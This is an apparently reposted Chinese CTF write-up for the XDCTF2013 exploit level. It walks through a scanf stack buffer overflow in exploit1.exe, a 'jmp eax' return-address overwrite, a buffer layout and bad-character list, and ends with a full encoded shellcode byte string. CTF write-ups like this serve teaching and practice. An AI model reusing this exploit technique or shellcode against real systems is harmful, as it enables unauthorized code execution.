XDCTF2013线上赛exploit关(一)

来源:互联网 发布:淘宝充值网店怎么开 编辑:程序博客网 时间:2024/05/21 06:18

IDA反汇编exploit1.exe,在sub_40FA70里可以看到申请了一个0x10000字节的空间


var_10000= byte ptr -10000h

然后将其作为参数传入了scanf()函数

.text:0040FA9F                 lea     eax, [ebp+var_10000]
.text:0040FAA5                 push    eax
.text:0040FAA6                 push    offset Format   ; "%s"
.text:0040FAAB                 call    _scanf

由于scanf()函数并不进行边界检查,造成栈溢出。

覆盖返回地址时,数据布局为
0x10000
ebp
RetAddr

观察此时寄存器内容,发现只有eax和esp指向栈。但是如果利用esp跳转的话,shellcode需要布置在返回地址下面,覆盖了下面的栈帧,导致程序崩溃,于是只能利用jmp eax进行跳转。

此时虽然eax并不指向buf,但是其所指向地址中的内容是从buf中复制而来,因此只要做一个短跳转就可以了。

利用OD的插件OllyFindAddr,找到一个jmp eax的地址为7c8f6571,用这个地址覆盖返回地址。在buf中合适的位置上填充shellcode,然后再buf头部放置短跳转地址。最终的buf布局为

                                    -----
短跳转            <-- 复制到eax指向位置,跳到shellcode        
junk                             ↑
shellcode        共计0x10000字节
junk                             ↓
                                    -----
ebp

RetAddr            <-- 填充为7c8f6571,jmp eax的地址


需要注意的是,scanf会将一些字符当做截断,因此shellcode中不能存在以下字符:

0x09 0x0a 0x0b 0x0c 0x0d 0x1a 0x20 0x00

可能不全,我只测了小于0x20的一部分。

另外就是这个缓冲区很大,0x10000字节。输入字符的时候可以将布置好的字符串存在一个txt中,在运行漏洞程序的时候使用

exploit1.exe < 1.txt

就可以将txt中的字符串当做输入传递给程序了。

shellcode

"\xba\x52\x5b\x54\xd8\xdb\xcf\xd9\x74\x24\xf4\x5e\x33\xc9\xb1""\x41\x31\x56\x12\x03\x56\x12\x83\x94\x5f\xb6\x2d\xc1\x8b\xad""\x17\x85\x6f\x26\x96\xb7\xc2\xb1\xe8\xfe\x47\xb5\x7a\x30\x03""\xbf\x70\xbb\x65\x5c\x02\xfd\x81\xd7\x6a\x21\x19\xd1\xaa\x6e""\x05\x6b\x38\x29\x34\x42\x41\x28\x56\xef\xd2\x8e\xb3\x64\x6f""\xf2\x30\x2e\x58\x72\x46\x25\x13\xc8\x50\x32\x7e\xec\x61\xaf""\x9c\xd8\x28\xa4\x57\xab\xaa\x54\xa6\x54\x9d\x68\x35\x06\x5a""\xa8\xb2\x51\xa2\xe6\x36\x5c\xe3\x12\xbc\x65\x97\xc0\x15\xec""\x86\x82\x3c\x2a\x48\x7e\xa6\xb9\x46\xcb\xac\xe7\x4a\xca\x59""\x9c\x77\x47\x9c\x4a\xfe\x13\xbb\x96\x60\x5f\x71\xae\x4b\x8b""\xff\x4b\x02\xf1\x68\x1d\x5b\xf8\x84\x73\x8c\x9b\xaa\x8c\xb3""\x2d\x11\x76\xf7\x50\x42\x94\x74\x2a\x6e\x7c\x29\xdc\x01\x83""\x32\xe3\x97\x3e\xc5\x74\xc4\xac\xf5\xc5\x7c\x1f\xc4\xeb\x18""\x37\x5d\x87\x85\xb5\x15\x3b\x62\x33\xaf\x22\x3c\xbc\xfa\xae""\x48\x80\x55\x14\xe2\xa6\x1b\xd6\x74\xba\x87\x74\x93\xa3\x38""\x87\x9c\x4b\xa8\x11\x17\xd3\x5e\x87\xaf\x93\xf2\x76\x8b\xdb""\x57\x5d\x2c\x52\x84\xf5\x6a\x44\x6b\x26\xe3\xe1\x18\x55\xd2""\x81\x8d\xec\x77\x32\x03\xc6\xf0\xf8\x47\xd0\x89\xe1\xb9\x32""\xe3\xe0\xea\xe3\xa6\x1d\xdc\x35\x87\xb1\x22\x60\x0f";